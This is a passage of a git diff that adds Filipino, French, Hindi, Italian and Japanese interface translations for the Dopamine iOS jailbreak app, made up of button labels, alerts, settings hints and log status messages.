Ini-rerekomenda ang pag-reboot ng device."; +"Button_Close" = "Isara"; + +// Error View +"Button_Share" = "Ibahagi"; +"Button_Reboot" = "i-Reboot"; + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (Terminal ng Developer)"; +"Settings_Verbose_Logs" = "Mga Verbose Logs"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Tanggalin ang Jailbreak"; +"Button_Hide_Jailbreak" = "Itago ang Jailbreak"; +"Button_Unhide_Jailbreak" = "Ihinto ang pag-tatago ng Jailbreak"; +"Button_Refresh_Jailbreak_Apps" = "i-Refresh ang mga Apps ng Jailbreak"; +"Button_Reinstall_Package_Managers" = "i-Reinstall ang mga Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Itago ang Jailbreak\" pansamantalang itatago ang mga file na nauugnay sa Jailbreak hanggang sa susunod na re-jailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Itago ang Jailbreak\" bahagyang hindi paganahin ang Jailbreak at naglalayong gawing mas mahirap ang pagtuklas nito. Gayunpaman, hindi ito ganap na epektibo at hindi ma-itago ang lahat."; +"Section_Jailbreak_Settings" = "Mga Settings ng Jailbreak"; +"Section_Actions" = "Mga Aksyon"; +"Section_Customization" = "Mga Customization"; +"Section_Exploits" = "Mga Exploits"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Kinakailangan ang Userspace Reboot"; +"Alert_Tweak_Injection_Toggled_Body" = "Ang Reboot ng Userspace ay kinakailangan upang mailapat ang mga pagbabago. Gusto mo bang gawin ito ngayon?."; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "i-Reboot na ngayon"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "i-Reboot mamaya"; +"Alert_Remove_Jailbreak_Title" = "Tanggalin ang Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Ang pag-tatanggal ng Jailbreak ay magtatanggal ng lahat ng file na nauugnay sa Jailbreak, ngunit lahat ng regular na app, file at data ay mananatili. Sigurado ka bang gusto mong magpatuloy? Hindi mo maa-undo ang pagtanggal nito."; +"Alert_Remove_Jailbreak_Enabled_Body" = "Kapag na-enable ang \"Tanggalin ang Jailbreak\" ay tatanggalin ang lahat ng file na nauugnay sa Jailbreak sa susunod na Jailbreak, ngunit lahat ng regular na app, file at data ay mananatili. Sigurado ka bang gusto mong magpatuloy? Hindi mo maa-undo ang pagtanggal nito."; +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Wag ituloy"; +"Button_Continue" = "Ituloy"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Mayroong maraming app na may identifier na \"%@\" sa loob ng Dopamines application directory (\"%@\"), kaya hindi pwedeng makapag-patuloy."; +"Duplicate_Apps_Error_User_App" = "Ang mga app na may mga identifier na %@ ay umiiral sa Dopamines application directory (\"%@\") ngunit naka-install din nang hiwalay sa system, kaya hindi pwedeng makapag-patuloy."; +"Duplicate_Apps_Error_Icon_Cache" = "Ang app na may identifier na \"%@\" ay umiiral sa Dopamine application directory (\"%@\") ngunit nakarehistro din sa icon cache sa ilalim ng ibang landas (\"%@\"), kaya hindi pwedeng makapag-patuloy."; + +// Settings Lists +"Theme" = "Mga Theme"; +"Kernel Exploit" = "Mga Kernel Exploit"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Lisensya"; +"Credits_Button_Source_Code" = "Source Code"; + +// Logs +"Initializing Environment" = "Sinisimulan ang Jailbreak Environment"; +/*Initializing Protection*/ +"Loading BaseBin TrustCache" = "Nilo-load ang BaseBin TrustCache"; +"Applying Bind Mount" = "Paglalapat ng Bind Mount"; +"Removing Jailbreak" = "Tinatatanggal ang Jailbreak"; +"Elevating Privileges" = "Pagtataas ng mga Privileges"; +"Cleaning Up Exploits" = "Paglilinis ng mga Exploits"; +"Building Phys R/W Primitive" = "Pagtatayo ng Phys R/W Primitive"; +"Rebooting Userspace" = "Nire-Reboot ang Userspace"; +"Patchfinding" = "Patchfinding"; +"Exploiting Kernel (%@)" = "Ini-Exploit ang Kernel"; +"Bypassing PAC (%@)" = "Bina-Bypass ang PAC (%@)"; +"Bypassing PPL (%@)" = "Bina-Bypass ang PPL"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Pumili ng mga Package Manager(s)"; +"Select_Package_Managers_Install_Message" = "Kung hindi ka sigurado kung alin ang pipiliin, piliin ang Sileo"; +"Continue" = "Magpatuloy"; + diff --git a/Application/Dopamine/fr.lproj/Localizable.strings b/Application/Dopamine/fr.lproj/Localizable.strings new file mode 100644 index 0000000000..d56009fcfc --- /dev/null +++ b/Application/Dopamine/fr.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "par opa334, ElleKit par évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreak en cours"; +"Log_Error" = "Érreur"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbreaké"; +"Unsupported" = "Non supporté"; + +// Action Menu +"Menu_Settings_Title" = "Préférences"; +"Menu_Restart_SpringBoard_Title" = "Redémarrer le SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Redémarrer l'environnement"; +"Menu_Credits_Title" = "À propos"; + +// Updating +"Button_Update" = "Mettre à jour"; +"Button_Update_Available" = "Mise à jour disponible"; +"Button_Update_Environment" = "Mettre à jour l'environnement"; + +// Update View +"Update_Status_Downloading" = "Téléchargement..."; +"Update_Status_Subtitle_Please_Wait" = "Veuillez patienter pendant que Dopamine télécharge et installe la mise à jour"; +"Update_Status_Installing" = "Installation..."; +"Update_Status_Subtitle_Restart_Soon" = "L'appareil redémarrera automatiquement une fois l'installation terminée"; +"Title_Changelog" = "Nouveautés"; +"Changelog_Unavailable_Text" = "Impossible de charger les changements"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Jailbreak supprimé"; +"Removed_Jailbreak_Alert_Message" = "Le jailbreak a été supprimé avec succès. Un redémarrage de l'appareil est recommandé."; +"Button_Close" = "Ok"; + +// Error View +"Button_Share" = "Partager"; +"Button_Reboot" = "Redémarrer"; + +// Settings Toggles +"Settings_Tweak_Injection" = "Injection de tweaks"; +"Settings_iDownload" = "iDownload (Outil de dev)"; +"Settings_Verbose_Logs" = "Mode verbose"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Supprimer le jailbreak"; +"Button_Hide_Jailbreak" = "Mode jailbreak masqué"; +"Button_Unhide_Jailbreak" = "Retour au mode jailbreaké"; +"Button_Refresh_Jailbreak_Apps" = "Rafraîchir les apps jailbreakées"; +"Button_Reinstall_Package_Managers" = "Réinstaller les gestionnaires de paquets"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "Le mode \"Jailbreak masqué\" enlève temporairement les fichiers liés au jailbreak jusqu'au prochain jailbreak."; +"Hint_Hide_Jailbreak_Jailbroken" = "Le mode \"Jailbreak masqué\" désactive partiellement le jailbreak et vise à rendre la détection plus difficile. Cependant, il n'est pas entièrement efficace et ne cache pas tout."; +"Section_Jailbreak_Settings" = "Paramètres du jailbreak"; +"Section_Actions" = "Actions"; +"Section_Customization" = "Personnalisation"; +"Section_Exploits" = "Exploits"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Redémarrage nécessaire"; +"Alert_Tweak_Injection_Toggled_Body" = "Un redémarrage de l'espace utilisateur est nécessaire pour appliquer les changements. Voulez-vous le faire maintenant ?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "Redémarrer maintenant"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "Redémarrer plus tard"; +"Alert_Remove_Jailbreak_Title" = "Supprimer le jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "La suppression du jailbreak effacera tous les fichiers liés au jailbreak, mais toutes les applications, fichiers et données habituels seront conservés. Êtes-vous sûr de vouloir continuer ? Vous ne pouvez pas annuler cette action."; +"Alert_Remove_Jailbreak_Enabled_Body" = "L'activation de cette option supprimera tous les fichiers liés au jailbreak au prochain jailbreak. Toutes les applications, fichiers et données habituels seront conservés. Êtes-vous sûr de vouloir continuer ?"; +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Annuler"; +"Button_Continue" = "Continuer"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Il y a plusieurs applications avec l'identifiant \"%@\" dans le répertoire d'application de Dopamine (\"%@\"). Impossible de continuer."; +"Duplicate_Apps_Error_User_App" = "Les applications avec les identifiants %@ existent dans le répertoire d'application de Dopamine (\"%@\") mais sont également installées séparément sur le système. Impossible de continuer."; +"Duplicate_Apps_Error_Icon_Cache" = "L'application avec l'identifiant \"%@\" existe dans le répertoire d'application de Dopamine (\"%@\") mais est également enregistrée dans le cache d'icônes sous un chemin différent (\"%@\"). Impossible de continuer."; + +// Settings Lists +"Theme" = "Thème"; +"Kernel Exploit" = "Exploit du noyau"; +"PPL Bypass" = "Contournement PPL"; +"PAC Bypass" = "Contournement PAC"; +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licenses"; +"Credits_Button_Source_Code" = "Code source"; + +// Logs +"Initializing Environment" = "Initialisation de l'environnement"; +/*Initializing Protection*/ +"Loading BaseBin TrustCache" = "Chargement des signatures"; +"Applying Bind Mount" = "Montage du disque virtuel"; +"Removing Jailbreak" = "Suppression du jailbreak"; +"Elevating Privileges" = "Elévation des privilèges"; +"Cleaning Up Exploits" = "Nettoyage des exploits"; +"Building Phys R/W Primitive" = "Construction de primitive Phys R/W"; +"Rebooting Userspace" = "Redémarrage de l'environnement"; +"Patchfinding" = "Recherche des patchs"; +"Exploiting Kernel (%@)" = "Exploitation du noyau (%@)"; +"Bypassing PAC (%@)" = "Contournement des PAC (%@)"; +"Bypassing PPL (%@)" = "Contournement du PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Gestionnaires de paquets"; +"Select_Package_Managers_Install_Message" = "Selectionnez les gestionnaires de paquets à installer, si vous n'êtes pas sûr de votre choix, sélectionnez Sileo"; +"Continue" = "Continuer"; + diff --git a/Application/Dopamine/hi.lproj/Localizable.strings b/Application/Dopamine/hi.lproj/Localizable.strings new file mode 100644 index 0000000000..c36521e3a4 --- /dev/null +++ b/Application/Dopamine/hi.lproj/Localizable.strings @@ -0,0 +1,121 @@ +"Credits_Made_By" = "opa334 द्वारा, ElleKit by évelyne"; + +// Log +"Status_Title_Jailbreaking" = "जेलब्रेक हो रहा है"; +"Log_Error" = "त्रुटि"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "जेलब्रेक"; +"Status_Title_Jailbroken" = "जेलब्रेक पूरा हुआ"; +"Unsupported" = "समर्थित नहीं"; + +// Action Menu +"Menu_Settings_Title" = "सेटिंग्स"; +"Menu_Restart_SpringBoard_Title" = "SpringBoard रीस्टार्ट करें"; +"Menu_Reboot_Userspace_Title" = "Userspace रीबूट करें"; +"Menu_Credits_Title" = "श्रेय"; + +// Updating +"Button_Update" = "अपडेट"; +"Button_Update_Available" = "अपडेट उपलब्ध है"; +"Button_Update_Environment" = "Environment अपडेट करें"; + +// Update View +"Update_Status_Downloading" = "अपडेट डाउनलोड हो रहा है..."; +"Update_Status_Subtitle_Please_Wait" = "कृपया फाइलों का डाउनलोड पूरा होने तक प्रतीक्षा करें"; +"Update_Status_Installing" = "अपडेट इंस्टॉल हो रहा है..."; +"Update_Status_Subtitle_Restart_Soon" = "डिवाइस जल्द ही रीस्टार्ट होगा"; +"Title_Changelog" = "चेंजलॉग"; +"Changelog_Unavailable_Text" = "चेंजलॉग उपलब्ध नहीं है"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "जेलब्रेक हटाया गया"; +"Removed_Jailbreak_Alert_Message" = "जेलब्रेक सफलतापूर्वक हटा दिया गया। डिवाइस को रीबूट करना अनुशंसित है।"; +"Button_Close" = "बंद करें"; + +// Error View +"Button_Share" = "शेयर करें"; +"Button_Reboot" = "रीबूट"; + +// Settings Options +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (Developer Shell)"; +"Settings_Verbose_Logs" = "विस्तृत लॉग"; +"Settings_Apps_JIT" = "ऐप्स में JIT की अनुमति दें"; +"Settings_Allow_Old_arm64e_ABI_Libraries" = "Legacy arm64e Libraries की अनुमति दें"; +"Settings_Jetsam_Multiplier" = "Jetsam Multiplier"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "जेलब्रेक हटाएं"; +"Button_Hide_Jailbreak" = "जेलब्रेक छिपाएं"; +"Button_Unhide_Jailbreak" = "जेलब्रेक दिखाएं"; +"Button_Refresh_Jailbreak_Apps" = "जेलब्रेक ऐप्स रिफ्रेश करें"; +"Button_Reinstall_Package_Managers" = "Package Managers फिर से इंस्टॉल करें"; +"Button_Change_Mobile_Password" = "\"mobile\" पासवर्ड बदलें"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"जेलब्रेक छिपाएं\" अगले री-जेलब्रेक तक जेलब्रेक-संबंधित फाइलों को अस्थायी रूप से हटा देता है"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"जेलब्रेक छिपाएं\" जेलब्रेक को आंशिक रूप से निष्क्रिय करता है और पहचान को अधिक कठिन बनाने का प्रयास करता है। हालांकि, यह पूरी तरह प्रभावी नहीं है और सब कुछ नहीं छिपाता।"; +"Section_Jailbreak_Settings" = "जेलब्रेक सेटिंग्स"; +"Section_Actions" = "कार्रवाइयां"; +"Section_Customization" = "कस्टमाइजेशन"; +"Section_Exploits" = "एक्सप्लॉइट्स"; +"Section_Boot_Logo" = "बूट लोगो"; +"Jetsam_Description" = "Jetsam एक सिस्टम फीचर है जो उन प्रक्रियाओं को अपने आप बंद कर देता है जिनका मेमोरी उपयोग तय सीमा से अधिक हो जाता है। जब बहुत सारे tweaks इंस्टॉल होते हैं, तो यह सीमा लॉन्च होते ही पार हो सकती है, जिससे प्रक्रियाएं बार-बार क्रैश हो सकती हैं। यहां आप एक multiplier चुन सकते हैं जिससे मेमोरी सीमा वाली सभी लॉन्च की गई प्रक्रियाओं की मेमोरी सीमा गुणा की जाएगी। जब चीजें crash loop कर रही हों या बहुत सारे tweaks इंस्टॉल होने पर अजीब सिस्टम व्यवहार दिखे, तो इस सेटिंग को बढ़ाएं। पूरे सिस्टम के मेमोरी उपयोग पर नकारात्मक प्रभाव न पड़े, इसके लिए वह सबसे कम विकल्प चुनना अनुशंसित है जिसके अंतर्गत सिस्टम स्थिर रहे।"; +"Enabled" = "सक्षम"; +"Custom_Boot_Logo" = "कस्टम बूट लोगो"; +"Select_Image" = "चित्र चुनें"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Userspace रीबूट आवश्यक है"; +"Alert_Tweak_Injection_Toggled_Body" = "बदलाव लागू करने के लिए userspace रीबूट आवश्यक है। क्या आप इसे अभी करना चाहते हैं?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "अभी रीबूट करें"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "बाद में रीबूट करें"; +"Alert_Remove_Jailbreak_Title" = "जेलब्रेक हटाएं"; +"Alert_Remove_Jailbreak_Pressed_Body" = "जेलब्रेक हटाने से सभी जेलब्रेक-संबंधित फाइलें हट जाएंगी, लेकिन सभी सामान्य ऐप्स, फाइलें और डेटा सुरक्षित रहेंगे। क्या आप वाकई जारी रखना चाहते हैं? आप इस कार्रवाई को वापस नहीं कर सकते।"; +"Alert_Remove_Jailbreak_Enabled_Body" = "\"जेलब्रेक हटाएं\" सक्षम करने से अगले जेलब्रेक पर सभी जेलब्रेक-संबंधित फाइलें हट जाएंगी, लेकिन सभी सामान्य ऐप्स, फाइलें और डेटा सुरक्षित रहेंगे। क्या आप वाकई जारी रखना चाहते हैं? आप इस कार्रवाई को वापस नहीं कर सकते।"; +"Alert_Change_Mobile_Password_Body" = "अपने डिवाइस पर \"mobile\" उपयोगकर्ता का पासवर्ड सेट करें। इसे sudo के माध्यम से root access के लिए भी इस्तेमाल किया जा सकता है। यदि आप root पासवर्ड सेट करना चाहते हैं, तो mobile shell से \"sudo passwd root\" कमांड का उपयोग कर सकते हैं"; +"Password_Placeholder" = "पासवर्ड"; +"Repeat_Password_Placeholder" = "पासवर्ड दोहराएं"; +"Password_Auth_Required" = "आपका mobile पासवर्ड बदलने के लिए प्रमाणीकरण आवश्यक है।"; +"Button_Change" = "बदलें"; +"Button_Cancel" = "रद्द करें"; +"Button_Continue" = "जारी रखें"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Dopamine की application directory (\"%@\") में \"%@\" identifier वाले कई ऐप्स हैं। जारी नहीं रखा जा सकता।"; +"Duplicate_Apps_Error_User_App" = "%@ identifiers वाले ऐप्स Dopamine की application directory (\"%@\") में मौजूद हैं, लेकिन वे सिस्टम पर अलग से भी इंस्टॉल हैं। जारी नहीं रखा जा सकता।"; +"Duplicate_Apps_Error_Icon_Cache" = "\"%@\" identifier वाला ऐप Dopamine application directory (\"%@\") में मौजूद है, लेकिन icon cache में अलग path (\"%@\") के अंतर्गत भी registered है। जारी नहीं रखा जा सकता।"; + +// Settings Lists +"Theme" = "थीम"; +"Kernel Exploit" = "Kernel Exploit"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +"None" = "कोई नहीं"; +"Recommended" = "अनुशंसित"; + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "लाइसेंस"; +"Credits_Button_Source_Code" = "सोर्स कोड"; + +// Logs +"Initializing Environment" = "जेलब्रेक Environment शुरू हो रहा है"; +"Initializing Protection" = "Protection शुरू हो रही है"; +"Loading BaseBin TrustCache" = "BaseBin TrustCache लोड हो रहा है"; +"Applying Bind Mount" = "Bind Mount लागू हो रहा है"; +"Removing Jailbreak" = "जेलब्रेक हटाया जा रहा है"; +"Elevating Privileges" = "Privileges बढ़ाए जा रहे हैं"; +"Cleaning Up Exploits" = "Exploits साफ किए जा रहे हैं"; +"Building Phys R/W Primitive" = "Phys R/W Primitive बनाया जा रहा है"; +"Rebooting Userspace" = "Userspace रीबूट हो रहा है"; +"Patchfinding" = "Patchfinding"; +"Exploiting Kernel (%@)" = "Kernel exploit हो रहा है (%@)"; +"Bypassing PAC (%@)" = "PAC bypass हो रहा है (%@)"; +"Bypassing PPL (%@)" = "PPL bypass हो रहा है (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Package Manager(s) चुनें"; +"Select_Package_Managers_Install_Message" = "यदि आप सुनिश्चित नहीं हैं कि कौन सा चुनना है, तो Sileo चुनें"; +"Continue" = "जारी रखें"; diff --git a/Application/Dopamine/it.lproj/Localizable.strings b/Application/Dopamine/it.lproj/Localizable.strings new file mode 100644 index 0000000000..184c5cfa4b --- /dev/null +++ b/Application/Dopamine/it.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Creato da opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Eseguo il Jailbreak"; +"Log_Error" = "Fallito"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbreakkato"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Impostazioni"; +"Menu_Restart_SpringBoard_Title" = "Riavvia SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Riavvia Userspace"; +"Menu_Credits_Title" = "Crediti"; + +// Updating +"Button_Update" = "Aggiorna"; +"Button_Update_Available" = "Aggiornamento Disponibile"; +"Button_Update_Environment" = "Aggiorna l'Ambiente"; + +// Update View +"Update_Status_Downloading" = "Scarico l'aggiornamento..."; +"Update_Status_Subtitle_Please_Wait" = "Attendi lo scaricamento dei file"; +"Update_Status_Installing" = "Installo l'aggiornamento..."; +"Update_Status_Subtitle_Restart_Soon" = "Il dispositivo si riavvierà tra poco"; +"Title_Changelog" = "Registro Delle Modifiche"; +"Changelog_Unavailable_Text" = "Registro Delle Modifiche Non Disponibile"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Iniezione Tweak"; +"Settings_iDownload" = "iDownload (Terminale per sviluppatori)"; +"Settings_Verbose_Logs" = "Log Dettagliati"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Rimuovi il Jailbreak"; +"Button_Hide_Jailbreak" = "Nascondi il Jailbreak"; +"Button_Unhide_Jailbreak" = "Mostra il Jailbreak"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstalla i Package Manager"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Nascondi il Jailbreak\" rimuove temporaneamente i file relativi al jailbreak fino al rejailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Nascondi il Jailbreak\" disabilita parzialmente il jailbreak e tenta di rendere più difficile il rilevamento del jailbreak. Tuttavia, non è del tutto efficace e non nasconde tutto."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "Il riavvio userspace è necessario per applicare modifiche. Vuoi farlo ora?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Rimuovi il Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "La rimozione del jailbreak eliminerà tutti i file relativi al jailbreak, ma tutte le app, file, e dati personali verranno mantenuti. Sei sicuro/a di voler continuare? Non puoi annullare questa azione."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Cancella"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licenza"; +"Credits_Button_Source_Code" = "Codice Sorgente"; + +// Logs +"Initializing Environment" = "Inizializzo l'ambiente"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Trovo patch"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Seleziona i Package Manager"; +"Select_Package_Managers_Install_Message" = "Se non sei sicuro/a di quale scegliere, scegli Sileo"; +"Continue" = "Continua"; + diff --git a/Application/Dopamine/ja.lproj/Localizable.strings b/Application/Dopamine/ja.lproj/Localizable.strings new file mode 100644 index 0000000000..9bf5606f6d --- /dev/null +++ b/Application/Dopamine/ja.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Made by opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "エラー"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +"Unsupported" = "Unsupported"; + +// Action Menu +"Menu_Settings_Title" = "設定"; +"Menu_Restart_SpringBoard_Title" = "SpringBoardを再起動"; +"Menu_Reboot_Userspace_Title" = "Userspaceを再起動"; +"Menu_Credits_Title" = "クレジット"; + +// Updating +"Button_Update" = "アップデート"; +"Button_Update_Available" = "アップデートがあります"; +"Button_Update_Environment" = "環境をアップデート"; + +// Update View +"Update_Status_Downloading" = "アップデートをダウンロード中..."; +"Update_Status_Subtitle_Please_Wait" = "ファイルのダウンロードが完了するまでお待ちください"; +"Update_Status_Installing" = "アップデートをインストール中..."; +"Update_Status_Subtitle_Restart_Soon" = "デバイスはすぐに再起動します"; +"Title_Changelog" = "更新履歴"; +"Changelog_Unavailable_Text" = "更新履歴は利用できません"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Jailbreak環境は削除されました"; +"Removed_Jailbreak_Alert_Message" = "Jailbreak環境の削除に成功しました. デバイスの再起動をお勧めします。"; +"Button_Close" = "閉じる"; + +// Error View +"Button_Share" = "共有"; +"Button_Reboot" = "再起動"; + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (開発者用シェル)"; +"Settings_Verbose_Logs" = "詳細なログ"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Jailbreak環境の削除"; +"Button_Hide_Jailbreak" = "Jailbreakを隠す"; +"Button_Unhide_Jailbreak" = "Jailbreak環境を戻す"; +"Button_Refresh_Jailbreak_Apps" = "Jailbreakアプリを更新 (UICache)"; +"Button_Reinstall_Package_Managers" = "パッケージマネージャーを再インストール"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Jailbreakを隠す\"は、次のjailbreakの実行までjailbreak関連のファイルを一時的に隠します"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Jailbreakを隠す\"は、jailbreakを部分的に無効にして、jailbreak検出をより困難にすることを目的としています。しかし、この機能ではすべてを完全に隠せるわけではありません。"; +"Section_Jailbreak_Settings" = "Jailbreak Settings"; +"Section_Actions" = "Actions"; +"Section_Customization" = "Customization"; +"Section_Exploits" = "Exploits"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Userspaceの再起動が必要です"; +"Alert_Tweak_Injection_Toggled_Body" = "この変更を適用するためには、userspaceを再起動する必要があります。今すぐ再起動をしてもよろしいですか?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "今すぐ再起動"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "後で再起動"; +"Alert_Remove_Jailbreak_Title" = "Jailbreak環境を削除"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Jailbreak環境を削除すると、jailbreak関連のファイルはすべて削除されますが、通常のアプリケーション、ファイル、データはすべて保持されます。本当に続けてもよろしいですか?この操作を元に戻すことはできません。"; +"Alert_Remove_Jailbreak_Enabled_Body" = "\"Jailbreak環境を削除\"を有効にすると、次回のjailbreak実行時にjailbreak関連ファイルはすべて削除されますが、通常のアプリ、ファイル、データはすべて保持されます。本当に続けてもよろしいですか?この操作を元に戻すことはできません。"; +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "キャンセル"; +"Button_Continue" = "続ける"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "バンドルID \"%@\" を持つアプリケーションはDopamine用アプリケーションディレクトリ(\"%@\")内に複数存在しています。この作業を続行できません。"; +"Duplicate_Apps_Error_User_App" = "バンドルID \"%@\" を持つアプリケーションはDopamine用アプリケーションディレクトリ(\"%@\")内に存在しますが、システムにも別々にインストールされています。この作業を続行できません。"; +"Duplicate_Apps_Error_Icon_Cache" = "バンドルID \"%@\" を持つアプリケーションはDopamine用アプリケーションディレクトリ(\"%@\")内に存在しますが、アイコンキャッシュには別のパス(\"%@\")で登録されています。この作業を続行できません。"; + +// Settings Lists +"Theme" = "テーマ"; +"Kernel Exploit" = "Kernel Exploit"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "ライセンス"; +"Credits_Button_Source_Code" = "ソースコード"; + +// Logs +"Initializing Environment" = "Initializing Jailbreak Environment"; +/*Initializing Protection*/ +"Loading BaseBin TrustCache" = "Loading BaseBin TrustCache"; +"Applying Bind Mount" = "Applying Bind Mount"; +"Removing Jailbreak" = "Removing Jailbreak"; +"Elevating Privileges" = "Elevating Privileges"; +"Cleaning Up Exploits" = "Cleaning Up Exploits"; +"Building Phys R/W Primitive" = "Building Phys R/W Primitive"; +"Rebooting Userspace" = "Rebooting Userspace"; +"Patchfinding" = "Patchfinding"; +"Exploiting Kernel (%@)" = "Exploiting Kernel (%@)"; +"Bypassing PAC (%@)" = "Bypassing PAC (%@)"; +"Bypassing PPL (%@)" = "Bypassing PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "パッケージマネージャーを選択"; +"Select_Package_Managers_Install_Message" = "どちらを選択するか迷った場合は、Sileoを選択してください"; 